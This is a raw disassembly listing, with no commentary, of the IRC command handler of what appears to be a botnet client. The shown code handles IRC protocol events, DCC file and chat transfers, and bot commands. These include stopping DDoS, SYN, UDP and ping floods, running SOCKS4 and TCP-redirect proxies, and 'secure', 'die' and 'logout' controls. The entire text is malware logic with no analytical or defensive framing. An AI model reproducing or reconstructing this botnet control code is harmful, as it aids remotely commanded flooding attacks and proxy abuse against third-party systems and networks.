push 7Fh
lea eax, [ebp+var_AA8]
push esi
push eax
call sub_4191A0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_D4]
push eax
call sub_4191A0
lea eax, [ebp+var_D4]
push offset asc_43ED90 ; "!"
push eax
call sub_419890
add esp, 20h
loc_40C6A9: ; CODE XREF: sub_40C50A+168j
push esi
push offset aPing ; "PING"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40C6FA
push [ebp+var_90]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_4083E7
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40C79E
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4083E7
add esp, 10h
jmp loc_40C79E
; ---------------------------------------------------------------------------
loc_40C6FA: ; CODE XREF: sub_40C50A+1AEj
mov esi, [ebp+var_90]
push esi
push offset a001 ; "001"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4127CE
push esi
push offset a005 ; "005"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4127CE
push esi
push offset a302 ; "302"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40C765
push offset a@ ; "@"
push [ebp+var_88]
call sub_419AB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40C79E
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_4191A0
add esp, 0Ch
jmp short loc_40C79E
; ---------------------------------------------------------------------------
loc_40C765: ; CODE XREF: sub_40C50A+22Fj
push esi
push offset a433 ; "433"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40C7A5
push ebx
push dword_43E1C4
push dword_43E1C0
push [ebp+arg_10]
call sub_4138AA
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_4083E7
add esp, 1Ch
loc_40C79E: ; CODE XREF: sub_40C50A+1CFj
; sub_40C50A+1EBj ...
mov eax, edi
jmp loc_40C97F
; ---------------------------------------------------------------------------
loc_40C7A5: ; CODE XREF: sub_40C50A+26Aj
mov esi, [ebp+arg_18]
mov [ebp+var_DC], 2
mov edi, 80h
loc_40C7B7: ; CODE XREF: sub_40C50A+2D2j
lea eax, [ebp+var_AA8]
push eax
push esi
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40C7D4
mov [ebp+var_B8], 1
loc_40C7D4: ; CODE XREF: sub_40C50A+2BEj
add esi, edi
dec [ebp+var_DC]
jnz short loc_40C7B7
mov esi, [ebp+var_90]
push esi
push offset aKick ; "KICK"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40C8CB
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 2
loc_40C803: ; CODE XREF: sub_40C50A+386j
cmp [esi], bl
jz loc_40C88B
push 7Fh
lea eax, [ebp+var_AA8]
push esi
push eax
call sub_4191A0
lea eax, [ebp+var_D4]
add esp, 0Ch
test eax, eax
jz short loc_40C88B
cmp [ebp+var_88], ebx
jz short loc_40C88B
push [ebp+var_88]
lea eax, [ebp+var_D4]
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40C88B
lea eax, [ebp+var_D4]
mov [esi], bl
push eax
lea eax, [ebp+var_2DC]
push offset aMainUserSLogge ; "[MAIN]: User %s logged out."
push eax
call sub_418D70
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_D4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_4083E7
lea eax, [ebp+var_2DC]
push eax
call sub_4035E1
add esp, 20h
loc_40C88B: ; CODE XREF: sub_40C50A+2FBj
; sub_40C50A+31Bj ...
add esi, edi
dec [ebp+arg_24]
jnz loc_40C803
push [ebp+var_88]
push [ebp+arg_10]
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40C97C
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
loc_40C8BE: ; CODE XREF: sub_40C50A+5FCj
; sub_40C50A+8B2j ...
push [ebp+arg_4]
call sub_4083E7
jmp loc_411F52
; ---------------------------------------------------------------------------
loc_40C8CB: ; CODE XREF: sub_40C50A+2E9j
push esi
push offset aNick ; "NICK"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40CA16
mov eax, [ebp+var_8C]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 2
mov [ebp+arg_24], eax
loc_40C8F4: ; CODE XREF: sub_40C50A+43Cj
lea eax, [ebp+var_AA8]
push eax
push esi
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40C941
lea eax, [ebp+var_AA8]
push 21h
push eax
call sub_4199F0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_40C941
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_419FA0
push [ebp+arg_1C]
push edi
call sub_419FB0
add esp, 10h
mov edi, 80h
loc_40C941: ; CODE XREF: sub_40C50A+3FBj
; sub_40C50A+412j
add esi, edi
dec [ebp+arg_0]
jnz short loc_40C8F4
lea eax, [ebp+var_D4]
test eax, eax
jz short loc_40C97C
cmp [ebp+arg_24], ebx
jz short loc_40C97C
push [ebp+arg_10]
lea eax, [ebp+var_D4]
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40C984
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_4191A0
add esp, 0Ch
loc_40C97C: ; CODE XREF: sub_40C50A+5Bj
; sub_40C50A+E8j ...
push 1
loc_40C97E: ; CODE XREF: sub_40C50A+5D09j
pop eax
loc_40C97F: ; CODE XREF: sub_40C50A+296j
; sub_40C50A+2289j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40C984: ; CODE XREF: sub_40C50A+460j
mov eax, [ebp+arg_18]
xor esi, esi
mov [ebp+arg_0], eax
loc_40C98C: ; CODE XREF: sub_40C50A+4A5j
mov eax, [ebp+arg_0]
cmp [eax], bl
jz short loc_40C9A8
lea eax, [ebp+var_AA8]
push eax
push [ebp+arg_0]
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40C9B3
loc_40C9A8: ; CODE XREF: sub_40C50A+487j
add [ebp+arg_0], edi
inc esi
cmp esi, 2
jl short loc_40C98C
jmp short loc_40C97C
; ---------------------------------------------------------------------------
loc_40C9B3: ; CODE XREF: sub_40C50A+49Cj
lea eax, [ebp+var_AA8]
push 21h
push eax
call sub_4199F0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_40C97C
push eax
call sub_418E70
push [ebp+arg_24]
mov edi, eax
call sub_418E70
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_40C97C
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS_10 ; ":%s%s"
push esi
call sub_418D70
push ebx
lea eax, [ebp+var_4C0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_40842D
add esp, 24h
jmp loc_40C97C
; ---------------------------------------------------------------------------
loc_40CA16: ; CODE XREF: sub_40C50A+3D0j
push esi
push offset aPart ; "PART"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40CA38
push esi
push offset aQuit_0 ; "QUIT"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40CA68
loc_40CA38: ; CODE XREF: sub_40C50A+51Bj
mov eax, [ebp+arg_18]
xor esi, esi
mov [ebp+arg_C], eax
loc_40CA40: ; CODE XREF: sub_40C50A+556j
mov eax, [ebp+arg_C]
cmp [eax], bl
jz short loc_40CA59
push [ebp+var_94]
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40CAAA
loc_40CA59: ; CODE XREF: sub_40C50A+53Bj
add [ebp+arg_C], edi
inc esi
cmp esi, 2
jl short loc_40CA40
mov esi, [ebp+var_90]
loc_40CA68: ; CODE XREF: sub_40C50A+52Cj
push esi
push offset a353 ; "353"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40CB0B
push [ebp+var_84]
push [ebp+arg_8]
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40CA9A
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40CA9A: ; CODE XREF: sub_40C50A+585j
push [ebp+var_84]
push offset aMainJoinedChan ; "[MAIN]: Joined channel: %s."
jmp loc_4127C2
; ---------------------------------------------------------------------------
loc_40CAAA: ; CODE XREF: sub_40C50A+54Dj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D4]
push eax
lea eax, [ebp+var_2DC]
push offset aMainUserSLog_0 ; "[MAIN]: User: %s logged out."
push eax
call sub_418D70
lea eax, [ebp+var_2DC]
push eax
call sub_4035E1
push [ebp+var_90]
push offset aPart_0 ; "PART"
call sub_419360
add esp, 18h
test eax, eax
jnz loc_40C97C
lea eax, [ebp+var_2DC]
push eax
mov eax, [ebp+var_94]
inc eax
push eax
push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n"
jmp loc_40C8BE
; ---------------------------------------------------------------------------
loc_40CB0B: ; CODE XREF: sub_40C50A+56Dj
push esi
push offset aPrivmsg_0 ; "PRIVMSG"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40CB4E
push esi
push offset aNotice_0 ; "NOTICE"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40CB4E
push esi
push offset a332 ; "332"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_41263B
cmp dword_43E1AC, ebx
jz loc_41263B
loc_40CB4E: ; CODE XREF: sub_40C50A+610j
; sub_40C50A+621j
push esi
push offset aPrivmsg_1 ; "PRIVMSG"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40CCDE
push esi
push offset aNotice_1 ; "NOTICE"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40CCDE
mov eax, [ebp+var_88]
inc [ebp+var_84]
mov [ebp+var_BC], 4
mov [ebp+var_8C], eax
loc_40CB94: ; CODE XREF: sub_40C50A+890j
; sub_40C50A+8C6j ...
mov eax, [ebp+var_BC]
mov esi, eax
shl esi, 2
mov eax, [ebp+esi+var_94]
lea edi, [ebp+esi+var_94]
push eax
push offset dword_43EF3C
mov [ebp+arg_8], eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40CF7D
push [ebp+esi+var_90]
push offset aSend_0 ; "SEND"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40CE44
cmp [ebp+var_B8], ebx
jz loc_40CE1A
push [ebp+esi+var_8C]
lea eax, [ebp+var_6F4]
push offset aS_9 ; "%s"
push eax
call sub_418D70
push [ebp+esi+var_88]
lea eax, [ebp+var_708]
push offset aS_10 ; "%s"
push eax
call sub_418D70
push [ebp+esi+var_84]
call sub_4195F0
mov [ebp+var_570], eax
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D4]
push 7Fh
push eax
lea eax, [ebp+var_5F0]
push eax
call sub_4191A0
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_5F0]
push eax
lea eax, [ebp+var_6F4]
push eax
lea eax, [ebp+var_2DC]
push offset aDccReceiveFile ; "[DCC]: Receive file: '%s' from user: %s"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 12h
push eax
call sub_4161EB
add esp, 44h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_404A02
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz loc_40CDFD
loc_40CCC8: ; CODE XREF: sub_40C50A+7D2j
cmp [ebp+var_560], ebx
jnz loc_40CE3C
push 32h
call ds:dword_4942D8
jmp short loc_40CCC8
; ---------------------------------------------------------------------------
loc_40CCDE: ; CODE XREF: sub_40C50A+653j
; sub_40C50A+668j
push esi
push offset aNotice_2 ; "NOTICE"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40CCF6
mov [ebp+var_4], 1
loc_40CCF6: ; CODE XREF: sub_40C50A+7E3j
mov esi, [ebp+var_8C]
cmp esi, ebx
jz loc_40C97C
push offset asc_43EEF0 ; "#"
push esi
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jz short loc_40CD1A
cmp [ebp+var_4], ebx
jz short loc_40CD26
loc_40CD1A: ; CODE XREF: sub_40C50A+809j
lea esi, [ebp+var_D4]
mov [ebp+var_8C], esi
loc_40CD26: ; CODE XREF: sub_40C50A+80Ej
cmp [ebp+var_88], ebx
jz loc_40C97C
inc [ebp+var_88]
jz short loc_40CD70
cmp [ebp+arg_10], ebx
jz short loc_40CD70
lea eax, [ebp+var_928]
push eax
call sub_418E70
push eax
lea eax, [ebp+var_928]
push [ebp+var_88]
push eax
call sub_41B790
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_BC], eax
jmp short loc_40CD76
; ---------------------------------------------------------------------------
loc_40CD70: ; CODE XREF: sub_40C50A+82Ej
; sub_40C50A+833j
mov eax, [ebp+var_BC]
loc_40CD76: ; CODE XREF: sub_40C50A+864j
shl eax, 2
mov [ebp+arg_8], eax
mov edi, [ebp+eax+var_94]
cmp edi, ebx
jz loc_40C97C
push edi
push offset dword_43EEF4
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40CB94
cmp byte ptr [esi], 23h
jz short loc_40CDC1
mov eax, dword_491D6C
mov eax, off_43E26C[eax*4]
cmp [eax], bl
jz short loc_40CDC1
push eax
push esi
push offset dword_43EF00
jmp loc_40C8BE
; ---------------------------------------------------------------------------
loc_40CDC1: ; CODE XREF: sub_40C50A+899j
; sub_40C50A+8A9j
push edi
push offset dword_43EF1C
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40CB94
mov eax, [ebp+arg_8]
mov eax, [ebp+eax+var_90]
cmp eax, ebx
jz loc_40CB94
cmp byte ptr [esi], 23h
jz loc_40CB94
push eax
push esi
push offset dword_43EF24
jmp loc_40C8BE
; ---------------------------------------------------------------------------
loc_40CDFD: ; CODE XREF: sub_40C50A+7B8j
call ds:dword_4942F0
push eax
push offset aDccFailedToSta ; "[DCC]: Failed to start transfer thread,"...
loc_40CE09: ; CODE XREF: sub_40C50A+A4Cj
; sub_40C50A+A5Dj ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 0Ch
jmp short loc_40CE3C
; ---------------------------------------------------------------------------
loc_40CE1A: ; CODE XREF: sub_40C50A+6DCj
lea eax, [ebp+var_D4]
push eax
lea eax, [ebp+var_2DC]
push [ebp+esi+var_8C]
push offset aDccReceiveFi_0 ; "[DCC]: Receive file: '%s' failed from u"...
push eax
call sub_418D70
add esp, 10h
loc_40CE3C: ; CODE XREF: sub_40C50A+7C4j
; sub_40C50A+90Ej ...
push 1
pop esi
jmp loc_40E784
; ---------------------------------------------------------------------------
loc_40CE44: ; CODE XREF: sub_40C50A+6D0j
push [ebp+esi+var_90]
push offset aChat ; "CHAT"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_40CF93
cmp [ebp+var_B8], ebx
jz loc_40CF6C
push 13h
call sub_416433
test eax, eax
pop ecx
jnz loc_40CF5B
push [ebp+esi+var_88]
lea eax, [ebp+var_708]
push offset aS_11 ; "%s"
push eax
call sub_418D70
push [ebp+esi+var_84]
call sub_4195F0
mov [ebp+var_570], eax
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D4]
push 7Fh
push eax
lea eax, [ebp+var_5F0]
push eax
call sub_4191A0
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_D4]
push eax
lea eax, [ebp+var_2DC]
push offset aDccChatFromUse ; "[DCC]: Chat from user: %s."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 13h
push eax
call sub_4161EB
add esp, 34h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40449C
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40CF4A
loc_40CF34: ; CODE XREF: sub_40C50A+A3Ej
cmp [ebp+var_560], ebx
jnz loc_40CE3C
push 32h
call ds:dword_4942D8
jmp short loc_40CF34
; ---------------------------------------------------------------------------
loc_40CF4A: ; CODE XREF: sub_40C50A+A28j
call ds:dword_4942F0
push eax
push offset aDccFailedToS_0 ; "[DCC]: Failed to start chat thread, err"...
jmp loc_40CE09
; ---------------------------------------------------------------------------
loc_40CF5B: ; CODE XREF: sub_40C50A+96Bj
lea eax, [ebp+var_D4]
push eax
push offset aDccChatAlready ; "[DCC]: Chat already active with user: %"...
jmp loc_40CE09
; ---------------------------------------------------------------------------
loc_40CF6C: ; CODE XREF: sub_40C50A+95Bj
lea eax, [ebp+var_D4]
push eax
push offset aDccChatFailedB ; "[DCC]: Chat failed by unauthorized user"...
jmp loc_40CE09
; ---------------------------------------------------------------------------
loc_40CF7D: ; CODE XREF: sub_40C50A+6B5j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_43E1B8
mov [edi], ecx
jnz loc_40C97C
loc_40CF93: ; CODE XREF: sub_40C50A+94Fj
mov edi, [edi]
push edi
push offset aHi ; "hi"
mov [ebp+arg_8], edi
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412643
push edi
push offset aFr ; "Fr"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412643
cmp [ebp+var_B8], ebx
jnz short loc_40CFE4
push [ebp+var_90]
push offset a332_3 ; "332"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz loc_41263B
loc_40CFE4: ; CODE XREF: sub_40C50A+ABEj
cmp [ebp+arg_28], ebx
jnz loc_41263B
xor edi, edi
cmp dword_43E5BC, ebx
jle loc_40D190
mov [ebp+arg_20], offset dword_44C2D8
loc_40D002: ; CODE XREF: sub_40C50A+B17j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40D028
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_43E5BC
jl short loc_40D002
jmp loc_40D190
; ---------------------------------------------------------------------------
loc_40D028: ; CODE XREF: sub_40C50A+B07j
push offset asc_43F1F4 ; " :"
push [ebp+arg_0]
call sub_419AB0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40C97C
mov cl, byte_43E1B8
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_43E1B8
mov [eax+3], cl
lea ecx, dword_44C2F0[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_4191A0
lea eax, [ebp+esi+var_54]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40D07D: ; CODE XREF: sub_40C50A+C1Bj
push [ebp+arg_20]
lea eax, [ebp+var_B4]
push offset aD ; "$%d-"
push eax
call sub_418D70
lea eax, [ebp+var_B4]
push eax
push [ebp+arg_0]
call sub_419AB0
add esp, 14h
test eax, eax
jz short loc_40D0E9
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_40D0E9
lea eax, dword_44C2D8[edi]
push eax
call sub_418E70
add [ebp+var_C], eax
pop ecx
jz short loc_40D11B
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_419AB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40D11B
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+arg_0]
call sub_409842
add esp, 0Ch
jmp short loc_40D11B
; ---------------------------------------------------------------------------
loc_40D0E9: ; CODE XREF: sub_40C50A+B9Bj
; sub_40C50A+BA2j
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_40D11B
lea eax, [ebp+var_B4]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_4191A0
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+arg_0]
call sub_409842
add esp, 18h
loc_40D11B: ; CODE XREF: sub_40C50A+BB4j
; sub_40C50A+BC8j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40D07D
lea eax, [ebp+esi+var_54]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40D138: ; CODE XREF: sub_40C50A+C7Aj
push [ebp+arg_20]
lea eax, [ebp+var_B4]
push offset aD_0 ; "$%d"
push eax
call sub_418D70
lea eax, [ebp+var_B4]
push eax
push [ebp+arg_0]
call sub_419AB0
add esp, 14h
test eax, eax
jz short loc_40D17B
mov eax, [edi]
cmp eax, ebx
jz short loc_40D17B
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+arg_0]
call sub_409842
add esp, 0Ch
loc_40D17B: ; CODE XREF: sub_40C50A+C56j
; sub_40C50A+C5Cj
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40D138
mov [ebp+var_D8], 1
loc_40D190: ; CODE XREF: sub_40C50A+AEBj
; sub_40C50A+B19j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_43E1B8
jz short loc_40D1A9
cmp [ebp+var_D8], ebx
jz loc_40D392
loc_40D1A9: ; CODE XREF: sub_40C50A+C91j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_409842
lea eax, [ebp+var_D4]
push eax
push offset aUser_1 ; "$user"
push edi
call sub_409842
push [ebp+var_8C]
push offset aChan ; "$chan"
push edi
call sub_409842
push ebx
push ebx
lea eax, [ebp+var_B4]
push 2
push eax
call sub_4138AA
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_409842
add esp, 40h
push [ebp+arg_14]
push offset aServer ; "$server"
push edi
call sub_409842
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_419AB0
add esp, 14h
loc_40D21B: ; CODE XREF: sub_40C50A+E01j
test eax, eax
jz loc_40D310
push offset aChr_0 ; "$chr("
push [ebp+arg_0]
call sub_419AB0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4191A0
lea eax, [ebp+var_B4]
push offset asc_43F23C ; ")"
push eax
call sub_419890
add esp, 1Ch
cmp [ebp+var_B4], 30h
jl short loc_40D26B
cmp [ebp+var_B4], 39h
jle short loc_40D281
loc_40D26B: ; CODE XREF: sub_40C50A+D56j
push 3
lea eax, [ebp+var_B4]
push offset a63 ; "63"
push eax
call sub_4191A0
add esp, 0Ch
loc_40D281: ; CODE XREF: sub_40C50A+D5Fj
lea eax, [ebp+var_B4]
push eax
call sub_4195F0
test eax, eax
pop ecx
jle short loc_40D2A4
lea eax, [ebp+var_B4]
push eax
call sub_4195F0
pop ecx
mov [ebp+var_14], al
jmp short loc_40D2B5
; ---------------------------------------------------------------------------
loc_40D2A4: ; CODE XREF: sub_40C50A+D86j
call sub_419000
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_40D2B5: ; CODE XREF: sub_40C50A+D98j
lea eax, [ebp+var_B4]
mov [ebp+var_13], bl
push eax
call sub_418E70
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_B4]
push ebx
push eax
call sub_4189A0
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_B4]
push [ebp+arg_10]
push eax
call sub_4191A0
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+arg_0]
call sub_409842
push edi
push [ebp+arg_0]
call sub_419AB0
add esp, 30h
jmp loc_40D21B
; ---------------------------------------------------------------------------
loc_40D310: ; CODE XREF: sub_40C50A+D13j
mov edi, 1FFh
lea eax, [ebp+var_FB0]
push edi
push [ebp+arg_0]
push eax
call sub_4191A0
lea eax, [ebp+var_FB0]
push edi
push eax
lea eax, [ebp+var_11B0]
push eax
call sub_4191A0
lea eax, [ebp+var_11B0]
push offset asc_43F244 ; " "
push eax
call sub_419890
add esp, 20h
mov [ebp+var_94], eax
lea edi, [ebp+var_90]
mov [ebp+arg_10], 1Fh
loc_40D360: ; CODE XREF: sub_40C50A+E6Bj
push offset asc_43F248 ; " "
push ebx
call sub_419890
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40D360
mov ecx, [ebp+esi+var_94]
lea eax, [ebp+esi+var_94]
cmp ecx, ebx
jz loc_40C97C
add ecx, 3
mov [eax], ecx
loc_40D392: ; CODE XREF: sub_40C50A+C99j
mov edi, [ebp+esi+var_94]
push edi
push offset aRndnick_0 ; "rndnick"
mov [ebp+arg_8], edi
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4125EE
push edi
push offset aRn ; "rn"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4125EE
push edi
push offset aDie ; "die"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4125CC
push edi
push offset aD_1 ; "d"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4125CC
push edi
push offset aLogout ; "logout"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412502
push edi
push offset aLo ; "lo"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_412502
push edi
push offset aVersion ; "version"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4124E4
push edi
push offset aVer ; "ver"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4124E4
push edi
push offset aSecure ; "secure"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4123D7
push edi
push offset aSec ; "sec"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4123D7
push edi
push offset aUnsecure ; "unsecure"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4123D7
push edi
push offset aUnsec ; "unsec"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4123D7
push edi
push offset aSocks4 ; "socks4"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4122B5
push edi
push offset aS4 ; "s4"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4122B5
push edi
push offset aSocks4stop ; "socks4stop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D4EB
push [ebp+esi+var_90]
push 11h
push offset aServer_0 ; "Server"
push offset aSocks4_0 ; "[SOCKS4]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D4EB: ; CODE XREF: sub_40C50A+FC7j
push edi
push offset aRloginstop ; "rloginstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D514
push [ebp+esi+var_90]
push 6
push offset aServer_1 ; "Server"
push offset aRlogind ; "[RLOGIND]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D514: ; CODE XREF: sub_40C50A+FF0j
push edi
push offset aHttpstop ; "httpstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D53D
push [ebp+esi+var_90]
push 3
push offset aServer_2 ; "Server"
push offset aHttpd ; "[HTTPD]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D53D: ; CODE XREF: sub_40C50A+1019j
push edi
push offset aLogstop ; "logstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D566
push [ebp+esi+var_90]
push 1Ch
push offset aLogList ; "Log list"
push offset aLog ; "[LOG]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D566: ; CODE XREF: sub_40C50A+1042j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D58F
push [ebp+esi+var_90]
push 10h
push offset aTcpRedirect ; "TCP redirect"
push offset aRedirect ; "[REDIRECT]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D58F: ; CODE XREF: sub_40C50A+106Bj
push edi
push offset aDdos_stop ; "ddos.stop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D5B8
push [ebp+esi+var_90]
push 0Ah
push offset aDdosFlood ; "DDoS flood"
push offset aDdos ; "[DDoS]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D5B8: ; CODE XREF: sub_40C50A+1094j
push edi
push offset aSynstop ; "synstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D5E1
push [ebp+esi+var_90]
push 0Bh
push offset aSynFlood ; "Syn flood"
push offset aSyn ; "[SYN]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D5E1: ; CODE XREF: sub_40C50A+10BDj
push edi
push offset aUdpstop ; "udpstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D60A
push [ebp+esi+var_90]
push 0Fh
push offset aUdpFlood ; "UDP flood"
push offset aUpd ; "[UPD]"
jmp loc_412299
; ---------------------------------------------------------------------------
loc_40D60A: ; CODE XREF: sub_40C50A+10E6j
push edi
push offset aPingstop ; "pingstop"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40D633
push [ebp+esi+var_90]
push 0Eh
push offset aPingFlood ; "Ping flood"
push offset aPing_0 ; "[PING]"
jmp loc_412299
; ---------------------------------------------------------------------------
